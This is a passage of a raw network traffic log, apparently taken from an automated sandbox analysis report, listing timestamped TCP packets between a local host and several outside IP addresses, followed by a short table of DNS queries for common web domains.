Nov 20, 2024 18:57:52.476290941 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:52.476330996 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:52.476982117 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:52.477030039 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:52.477102041 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:52.477303028 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:52.477787971 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:52.477843046 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:52.477845907 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:52.477919102 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:52.478607893 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:52.478723049 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:52.478729010 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:52.478760958 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:52.478869915 CET	443	49890	150.171.27.10	192.168.2.6
Nov 20, 2024 18:57:52.478900909 CET	443	49890	150.171.27.10	192.168.2.6
Nov 20, 2024 18:57:52.478931904 CET	49890	443	192.168.2.6	150.171.27.10
Nov 20, 2024 18:57:52.478951931 CET	443	49890	150.171.27.10	192.168.2.6
Nov 20, 2024 18:57:52.478971958 CET	49890	443	192.168.2.6	150.171.27.10
Nov 20, 2024 18:57:52.478996038 CET	49890	443	192.168.2.6	150.171.27.10
Nov 20, 2024 18:57:52.479536057 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:52.479576111 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:52.479604959 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:52.479646921 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:52.480248928 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:52.480305910 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:52.480326891 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:52.480365038 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:52.481024027 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:52.481081963 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:52.481143951 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:52.481184006 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:52.481894016 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:52.481944084 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:52.482011080 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:52.482052088 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:52.482662916 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:52.482712030 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:52.482795000 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:52.482844114 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:52.513298988 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:52.513379097 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:52.513411045 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:52.513456106 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:52.513690948 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:52.513741016 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:52.513765097 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:52.513806105 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:52.514245987 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:52.514286995 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:52.514291048 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:52.514326096 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:52.515105009 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:52.515172958 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:52.515199900 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:52.515242100 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:52.515856028 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:52.515916109 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:52.515948057 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:52.516010046 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:52.516664028 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:52.516717911 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:52.516762018 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:52.516866922 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:52.517522097 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:52.517590046 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:52.517642975 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:52.517687082 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:52.518291950 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:52.518352032 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:52.518476963 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:52.518630981 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:52.519033909 CET	443	49889	150.171.27.10	192.168.2.6
Nov 20, 2024 18:57:52.519054890 CET	443	49889	150.171.27.10	192.168.2.6
Nov 20, 2024 18:57:52.519104958 CET	49889	443	192.168.2.6	150.171.27.10
Nov 20, 2024 18:57:52.519117117 CET	443	49889	150.171.27.10	192.168.2.6
Nov 20, 2024 18:57:52.519140959 CET	49889	443	192.168.2.6	150.171.27.10
Nov 20, 2024 18:57:52.519162893 CET	49889	443	192.168.2.6	150.171.27.10
Nov 20, 2024 18:57:52.519434929 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:52.519488096 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:52.519686937 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:52.519731998 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:52.519912004 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:52.519932032 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:52.519953012 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:52.519963026 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:52.520790100 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:52.520839930 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:52.520844936 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:52.520884991 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:52.521541119 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:52.521616936 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:52.521652937 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:52.521826029 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:52.522361994 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:52.522411108 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:52.528454065 CET	443	49890	150.171.27.10	192.168.2.6
Nov 20, 2024 18:57:52.528474092 CET	443	49890	150.171.27.10	192.168.2.6
Nov 20, 2024 18:57:52.528538942 CET	49890	443	192.168.2.6	150.171.27.10
Nov 20, 2024 18:57:52.528552055 CET	443	49890	150.171.27.10	192.168.2.6
Nov 20, 2024 18:57:52.528589964 CET	49890	443	192.168.2.6	150.171.27.10
Nov 20, 2024 18:57:52.550540924 CET	49892	443	192.168.2.6	150.171.27.10
Nov 20, 2024 18:57:52.550561905 CET	443	49892	150.171.27.10	192.168.2.6
Nov 20, 2024 18:57:52.550920963 CET	443	49892	150.171.27.10	192.168.2.6
Nov 20, 2024 18:57:52.550940037 CET	49892	443	192.168.2.6	150.171.27.10
Nov 20, 2024 18:57:52.550965071 CET	49892	443	192.168.2.6	150.171.27.10
Nov 20, 2024 18:57:52.582381964 CET	443	49859	104.117.182.18	192.168.2.6
Nov 20, 2024 18:57:52.582396030 CET	443	49859	104.117.182.18	192.168.2.6
Nov 20, 2024 18:57:52.582416058 CET	443	49859	104.117.182.18	192.168.2.6
Nov 20, 2024 18:57:52.582487106 CET	49859	443	192.168.2.6	104.117.182.18
Nov 20, 2024 18:57:52.582494020 CET	443	49859	104.117.182.18	192.168.2.6
Nov 20, 2024 18:57:52.582566977 CET	49859	443	192.168.2.6	104.117.182.18
Nov 20, 2024 18:57:52.582839012 CET	49859	443	192.168.2.6	104.117.182.18
Nov 20, 2024 18:57:52.582849979 CET	443	49859	104.117.182.18	192.168.2.6
Nov 20, 2024 18:57:52.595331907 CET	443	49892	150.171.27.10	192.168.2.6
Nov 20, 2024 18:57:52.601232052 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:52.601284981 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:52.601308107 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:52.601347923 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:52.601627111 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:52.601677895 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:52.601756096 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:52.601795912 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:52.602413893 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:52.602473021 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:52.602529049 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:52.602572918 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:52.603239059 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:52.603281975 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:52.603298903 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:52.603333950 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:52.604022026 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:52.604080915 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:52.604110003 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:52.604149103 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:52.604827881 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:52.604881048 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:52.604979992 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:52.605021000 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:52.605673075 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:52.605726004 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:52.605827093 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:52.605868101 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:52.606488943 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:52.606543064 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:52.606626034 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:52.606762886 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:52.607285023 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:52.607336998 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:52.607384920 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:52.607461929 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:52.608175039 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:52.608227015 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:52.608238935 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:52.608279943 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:52.643933058 CET	443	49889	150.171.27.10	192.168.2.6
Nov 20, 2024 18:57:52.643968105 CET	443	49889	150.171.27.10	192.168.2.6
Nov 20, 2024 18:57:52.644025087 CET	49889	443	192.168.2.6	150.171.27.10
Nov 20, 2024 18:57:52.644041061 CET	443	49889	150.171.27.10	192.168.2.6
Nov 20, 2024 18:57:52.644068956 CET	49889	443	192.168.2.6	150.171.27.10
Nov 20, 2024 18:57:52.644148111 CET	49889	443	192.168.2.6	150.171.27.10
Nov 20, 2024 18:57:52.655468941 CET	443	49890	150.171.27.10	192.168.2.6
Nov 20, 2024 18:57:52.655489922 CET	443	49890	150.171.27.10	192.168.2.6
Nov 20, 2024 18:57:52.655570030 CET	49890	443	192.168.2.6	150.171.27.10
Nov 20, 2024 18:57:52.655597925 CET	443	49890	150.171.27.10	192.168.2.6
Nov 20, 2024 18:57:52.655651093 CET	49890	443	192.168.2.6	150.171.27.10
Nov 20, 2024 18:57:52.656858921 CET	443	49891	150.171.27.10	192.168.2.6
Nov 20, 2024 18:57:52.656923056 CET	443	49891	150.171.27.10	192.168.2.6
Nov 20, 2024 18:57:52.656935930 CET	49891	443	192.168.2.6	150.171.27.10
Nov 20, 2024 18:57:52.656955004 CET	443	49891	150.171.27.10	192.168.2.6
Nov 20, 2024 18:57:52.656981945 CET	49891	443	192.168.2.6	150.171.27.10
Nov 20, 2024 18:57:52.657001019 CET	443	49891	150.171.27.10	192.168.2.6
Nov 20, 2024 18:57:52.657018900 CET	49891	443	192.168.2.6	150.171.27.10
Nov 20, 2024 18:57:52.657040119 CET	443	49891	150.171.27.10	192.168.2.6
Nov 20, 2024 18:57:52.657069921 CET	49891	443	192.168.2.6	150.171.27.10
Nov 20, 2024 18:57:52.657099009 CET	49891	443	192.168.2.6	150.171.27.10
Nov 20, 2024 18:57:52.675878048 CET	443	49889	150.171.27.10	192.168.2.6
Nov 20, 2024 18:57:52.675911903 CET	443	49889	150.171.27.10	192.168.2.6
Nov 20, 2024 18:57:52.675945997 CET	49889	443	192.168.2.6	150.171.27.10
Nov 20, 2024 18:57:52.675957918 CET	443	49889	150.171.27.10	192.168.2.6
Nov 20, 2024 18:57:52.675973892 CET	49889	443	192.168.2.6	150.171.27.10
Nov 20, 2024 18:57:52.676054955 CET	49889	443	192.168.2.6	150.171.27.10
Nov 20, 2024 18:57:52.685439110 CET	443	49890	150.171.27.10	192.168.2.6
Nov 20, 2024 18:57:52.685457945 CET	443	49890	150.171.27.10	192.168.2.6
Nov 20, 2024 18:57:52.685509920 CET	49890	443	192.168.2.6	150.171.27.10
Nov 20, 2024 18:57:52.685525894 CET	443	49890	150.171.27.10	192.168.2.6
Nov 20, 2024 18:57:52.685539007 CET	49890	443	192.168.2.6	150.171.27.10
Nov 20, 2024 18:57:52.685570002 CET	49890	443	192.168.2.6	150.171.27.10
Nov 20, 2024 18:57:52.702065945 CET	443	49889	150.171.27.10	192.168.2.6
Nov 20, 2024 18:57:52.702121019 CET	443	49889	150.171.27.10	192.168.2.6
Nov 20, 2024 18:57:52.702158928 CET	49889	443	192.168.2.6	150.171.27.10
Nov 20, 2024 18:57:52.702169895 CET	443	49889	150.171.27.10	192.168.2.6
Nov 20, 2024 18:57:52.702217102 CET	49889	443	192.168.2.6	150.171.27.10
Nov 20, 2024 18:57:52.702238083 CET	49889	443	192.168.2.6	150.171.27.10
Nov 20, 2024 18:57:52.703021049 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:52.711210966 CET	443	49890	150.171.27.10	192.168.2.6
Nov 20, 2024 18:57:52.711229086 CET	443	49890	150.171.27.10	192.168.2.6
Nov 20, 2024 18:57:52.711277962 CET	49890	443	192.168.2.6	150.171.27.10
Nov 20, 2024 18:57:52.711292028 CET	443	49890	150.171.27.10	192.168.2.6
Nov 20, 2024 18:57:52.711379051 CET	49890	443	192.168.2.6	150.171.27.10
Nov 20, 2024 18:57:52.720851898 CET	443	49889	150.171.27.10	192.168.2.6
Nov 20, 2024 18:57:52.720874071 CET	443	49889	150.171.27.10	192.168.2.6
Nov 20, 2024 18:57:52.720912933 CET	49889	443	192.168.2.6	150.171.27.10
Nov 20, 2024 18:57:52.720921040 CET	443	49889	150.171.27.10	192.168.2.6
Nov 20, 2024 18:57:52.720952988 CET	49889	443	192.168.2.6	150.171.27.10
Nov 20, 2024 18:57:52.720976114 CET	49889	443	192.168.2.6	150.171.27.10
Nov 20, 2024 18:57:52.735263109 CET	443	49890	150.171.27.10	192.168.2.6
Nov 20, 2024 18:57:52.735281944 CET	443	49890	150.171.27.10	192.168.2.6
Nov 20, 2024 18:57:52.735328913 CET	49890	443	192.168.2.6	150.171.27.10
Nov 20, 2024 18:57:52.735342026 CET	443	49890	150.171.27.10	192.168.2.6
Nov 20, 2024 18:57:52.735373020 CET	49890	443	192.168.2.6	150.171.27.10
Nov 20, 2024 18:57:52.735388994 CET	49890	443	192.168.2.6	150.171.27.10
Nov 20, 2024 18:57:52.808887959 CET	49907	443	192.168.2.6	150.171.27.10
Nov 20, 2024 18:57:52.808911085 CET	443	49907	150.171.27.10	192.168.2.6
Nov 20, 2024 18:57:52.809108019 CET	49907	443	192.168.2.6	150.171.27.10
Nov 20, 2024 18:57:52.809875965 CET	49907	443	192.168.2.6	150.171.27.10
Nov 20, 2024 18:57:52.809890985 CET	443	49907	150.171.27.10	192.168.2.6
Nov 20, 2024 18:57:52.824491978 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:52.842339993 CET	443	49889	150.171.27.10	192.168.2.6
Nov 20, 2024 18:57:52.842386961 CET	443	49889	150.171.27.10	192.168.2.6
Nov 20, 2024 18:57:52.842430115 CET	49889	443	192.168.2.6	150.171.27.10
Nov 20, 2024 18:57:52.842437983 CET	443	49889	150.171.27.10	192.168.2.6
Nov 20, 2024 18:57:52.842475891 CET	49889	443	192.168.2.6	150.171.27.10
Nov 20, 2024 18:57:52.842561960 CET	49889	443	192.168.2.6	150.171.27.10
Nov 20, 2024 18:57:52.851255894 CET	443	49890	150.171.27.10	192.168.2.6
Nov 20, 2024 18:57:52.851298094 CET	443	49890	150.171.27.10	192.168.2.6
Nov 20, 2024 18:57:52.851327896 CET	49890	443	192.168.2.6	150.171.27.10
Nov 20, 2024 18:57:52.851345062 CET	443	49890	150.171.27.10	192.168.2.6
Nov 20, 2024 18:57:52.851377010 CET	49890	443	192.168.2.6	150.171.27.10
Nov 20, 2024 18:57:52.851392031 CET	49890	443	192.168.2.6	150.171.27.10
Nov 20, 2024 18:57:52.858411074 CET	443	49889	150.171.27.10	192.168.2.6
Nov 20, 2024 18:57:52.858503103 CET	443	49889	150.171.27.10	192.168.2.6
Nov 20, 2024 18:57:52.858689070 CET	49889	443	192.168.2.6	150.171.27.10
Nov 20, 2024 18:57:52.858696938 CET	443	49889	150.171.27.10	192.168.2.6
Nov 20, 2024 18:57:52.858752012 CET	49889	443	192.168.2.6	150.171.27.10
Nov 20, 2024 18:57:52.862168074 CET	443	49891	150.171.27.10	192.168.2.6
Nov 20, 2024 18:57:52.862243891 CET	443	49891	150.171.27.10	192.168.2.6
Nov 20, 2024 18:57:52.862282991 CET	49891	443	192.168.2.6	150.171.27.10
Nov 20, 2024 18:57:52.862288952 CET	443	49891	150.171.27.10	192.168.2.6
Nov 20, 2024 18:57:52.862324953 CET	49891	443	192.168.2.6	150.171.27.10
Nov 20, 2024 18:57:52.862344027 CET	49891	443	192.168.2.6	150.171.27.10
Nov 20, 2024 18:57:52.869066000 CET	443	49890	150.171.27.10	192.168.2.6
Nov 20, 2024 18:57:52.869085073 CET	443	49890	150.171.27.10	192.168.2.6
Nov 20, 2024 18:57:52.869165897 CET	49890	443	192.168.2.6	150.171.27.10
Nov 20, 2024 18:57:52.869175911 CET	443	49890	150.171.27.10	192.168.2.6
Nov 20, 2024 18:57:52.869209051 CET	49890	443	192.168.2.6	150.171.27.10
Nov 20, 2024 18:57:52.872061968 CET	443	49889	150.171.27.10	192.168.2.6
Nov 20, 2024 18:57:52.872087955 CET	443	49889	150.171.27.10	192.168.2.6
Nov 20, 2024 18:57:52.872144938 CET	49889	443	192.168.2.6	150.171.27.10
Nov 20, 2024 18:57:52.872153044 CET	443	49889	150.171.27.10	192.168.2.6
Nov 20, 2024 18:57:52.872196913 CET	49889	443	192.168.2.6	150.171.27.10
Nov 20, 2024 18:57:52.884609938 CET	443	49890	150.171.27.10	192.168.2.6
Nov 20, 2024 18:57:52.884627104 CET	443	49890	150.171.27.10	192.168.2.6
Nov 20, 2024 18:57:52.884697914 CET	49890	443	192.168.2.6	150.171.27.10
Nov 20, 2024 18:57:52.884707928 CET	443	49890	150.171.27.10	192.168.2.6
Nov 20, 2024 18:57:52.884742022 CET	49890	443	192.168.2.6	150.171.27.10
Nov 20, 2024 18:57:52.887727976 CET	443	49889	150.171.27.10	192.168.2.6
Nov 20, 2024 18:57:52.887752056 CET	443	49889	150.171.27.10	192.168.2.6
Nov 20, 2024 18:57:52.887804031 CET	49889	443	192.168.2.6	150.171.27.10
Nov 20, 2024 18:57:52.887811899 CET	443	49889	150.171.27.10	192.168.2.6
Nov 20, 2024 18:57:52.887844086 CET	49889	443	192.168.2.6	150.171.27.10
Nov 20, 2024 18:57:52.887862921 CET	49889	443	192.168.2.6	150.171.27.10
Nov 20, 2024 18:57:52.887936115 CET	443	49899	104.117.182.18	192.168.2.6
Nov 20, 2024 18:57:52.889024973 CET	49899	443	192.168.2.6	104.117.182.18
Nov 20, 2024 18:57:52.889034986 CET	443	49899	104.117.182.18	192.168.2.6
Nov 20, 2024 18:57:52.889369965 CET	443	49899	104.117.182.18	192.168.2.6
Nov 20, 2024 18:57:52.891707897 CET	443	49900	104.117.182.18	192.168.2.6
Nov 20, 2024 18:57:52.892016888 CET	49899	443	192.168.2.6	104.117.182.18
Nov 20, 2024 18:57:52.892087936 CET	443	49899	104.117.182.18	192.168.2.6
Nov 20, 2024 18:57:52.892421961 CET	49900	443	192.168.2.6	104.117.182.18
Nov 20, 2024 18:57:52.892435074 CET	443	49900	104.117.182.18	192.168.2.6
Nov 20, 2024 18:57:52.892566919 CET	49899	443	192.168.2.6	104.117.182.18
Nov 20, 2024 18:57:52.892779112 CET	443	49900	104.117.182.18	192.168.2.6
Nov 20, 2024 18:57:52.893441916 CET	49900	443	192.168.2.6	104.117.182.18
Nov 20, 2024 18:57:52.893503904 CET	443	49900	104.117.182.18	192.168.2.6
Nov 20, 2024 18:57:52.893652916 CET	49900	443	192.168.2.6	104.117.182.18
Nov 20, 2024 18:57:52.898102999 CET	443	49890	150.171.27.10	192.168.2.6
Nov 20, 2024 18:57:52.898123980 CET	443	49890	150.171.27.10	192.168.2.6
Nov 20, 2024 18:57:52.898174047 CET	49890	443	192.168.2.6	150.171.27.10
Nov 20, 2024 18:57:52.898188114 CET	443	49890	150.171.27.10	192.168.2.6
Nov 20, 2024 18:57:52.898215055 CET	49890	443	192.168.2.6	150.171.27.10
Nov 20, 2024 18:57:52.898231030 CET	49890	443	192.168.2.6	150.171.27.10
Nov 20, 2024 18:57:52.903983116 CET	443	49889	150.171.27.10	192.168.2.6
Nov 20, 2024 18:57:52.904006004 CET	443	49889	150.171.27.10	192.168.2.6
Nov 20, 2024 18:57:52.904094934 CET	49889	443	192.168.2.6	150.171.27.10
Nov 20, 2024 18:57:52.904103994 CET	443	49889	150.171.27.10	192.168.2.6
Nov 20, 2024 18:57:52.904201984 CET	49889	443	192.168.2.6	150.171.27.10
Nov 20, 2024 18:57:52.913176060 CET	443	49902	104.117.182.18	192.168.2.6
Nov 20, 2024 18:57:52.913618088 CET	443	49890	150.171.27.10	192.168.2.6
Nov 20, 2024 18:57:52.913635969 CET	443	49890	150.171.27.10	192.168.2.6
Nov 20, 2024 18:57:52.913697004 CET	49890	443	192.168.2.6	150.171.27.10
Nov 20, 2024 18:57:52.913707972 CET	443	49890	150.171.27.10	192.168.2.6
Nov 20, 2024 18:57:52.913733959 CET	49890	443	192.168.2.6	150.171.27.10
Nov 20, 2024 18:57:52.913755894 CET	49890	443	192.168.2.6	150.171.27.10
Nov 20, 2024 18:57:52.915875912 CET	49902	443	192.168.2.6	104.117.182.18
Nov 20, 2024 18:57:52.915898085 CET	443	49902	104.117.182.18	192.168.2.6
Nov 20, 2024 18:57:52.918139935 CET	443	49889	150.171.27.10	192.168.2.6
Nov 20, 2024 18:57:52.918165922 CET	443	49889	150.171.27.10	192.168.2.6

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Nov 20, 2024 18:57:23.533134937 CET	192.168.2.6	1.1.1.1	0x2d38	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Nov 20, 2024 18:57:23.533293009 CET	192.168.2.6	1.1.1.1	0xad88	Standard query (0)	www.google.com	65	IN (0x0001)	false
Nov 20, 2024 18:57:30.456455946 CET	192.168.2.6	1.1.1.1	0xd925	Standard query (0)	apis.google.com	A (IP address)	IN (0x0001)	false
Nov 20, 2024 18:57:30.456604004 CET	192.168.2.6	1.1.1.1	0xb416	Standard query (0)	apis.google.com	65	IN (0x0001)	false
Nov 20, 2024 18:57:31.454528093 CET	192.168.2.6	1.1.1.1	0xb567	Standard query (0)	play.google.com	A (IP address)	IN (0x0001)	false
Nov 20, 2024 18:57:31.454699993 CET	192.168.2.6	1.1.1.1	0x9f22	Standard query (0)	play.google.com	65	IN (0x0001)	false
Nov 20, 2024 18:57:36.219367027 CET	192.168.2.6	1.1.1.1	0x2f33	Standard query (0)	ntp.msn.com	A (IP address)	IN (0x0001)	false
Nov 20, 2024 18:57:36.219619036 CET	192.168.2.6	1.1.1.1	0x2f3f	Standard query (0)	ntp.msn.com	65	IN (0x0001)	false
Nov 20, 2024 18:57:38.644649982 CET	192.168.2.6	1.1.1.1	0x875c	Standard query (0)	bzib.nelreports.net	A (IP address)	IN (0x0001)	false
Nov 20, 2024 18:57:38.644897938 CET	192.168.2.6	1.1.1.1	0x5475	Standard query (0)	bzib.nelreports.net	65	IN (0x0001)	false
Nov 20, 2024 18:57:39.578723907 CET	192.168.2.6	1.1.1.1	0x5ca0	Standard query (0)	clients2.googleusercontent.com	A (IP address)	IN (0x0001)	false
Nov 20, 2024 18:57:39.579050064 CET	192.168.2.6	1.1.1.1	0x98f	Standard query (0)	clients2.googleusercontent.com	65	IN (0x0001)	false
Nov 20, 2024 18:57:39.758238077 CET	192.168.2.6	1.1.1.1	0xcab7	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Nov 20, 2024 18:57:39.758392096 CET	192.168.2.6	1.1.1.1	0x481f	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false
Nov 20, 2024 18:57:39.759898901 CET	192.168.2.6	1.1.1.1	0xebbd	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Nov 20, 2024 18:57:39.760066032 CET	192.168.2.6	1.1.1.1	0x1b5f	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false
Nov 20, 2024 18:57:39.791384935 CET	192.168.2.6	1.1.1.1	0x467e	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Nov 20, 2024 18:57:39.791521072 CET	192.168.2.6	1.1.1.1	0xbb1a	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false
Nov 20, 2024 18:57:42.982150078 CET	192.168.2.6	1.1.1.1	0xae68	Standard query (0)	sb.scorecardresearch.com	A (IP address)	IN (0x0001)	false
Nov 20, 2024 18:57:42.982378960 CET	192.168.2.6	1.1.1.1	0x4454	Standard query (0)	sb.scorecardresearch.com	65	IN (0x0001)	false
Nov 20, 2024 18:57:42.998018980 CET	192.168.2.6	1.1.1.1	0xe9ae	Standard query (0)	assets.msn.com	A (IP address)	IN (0x0001)	false
Nov 20, 2024 18:57:42.998348951 CET	192.168.2.6	1.1.1.1	0xfa03	Standard query (0)	assets.msn.com	65	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
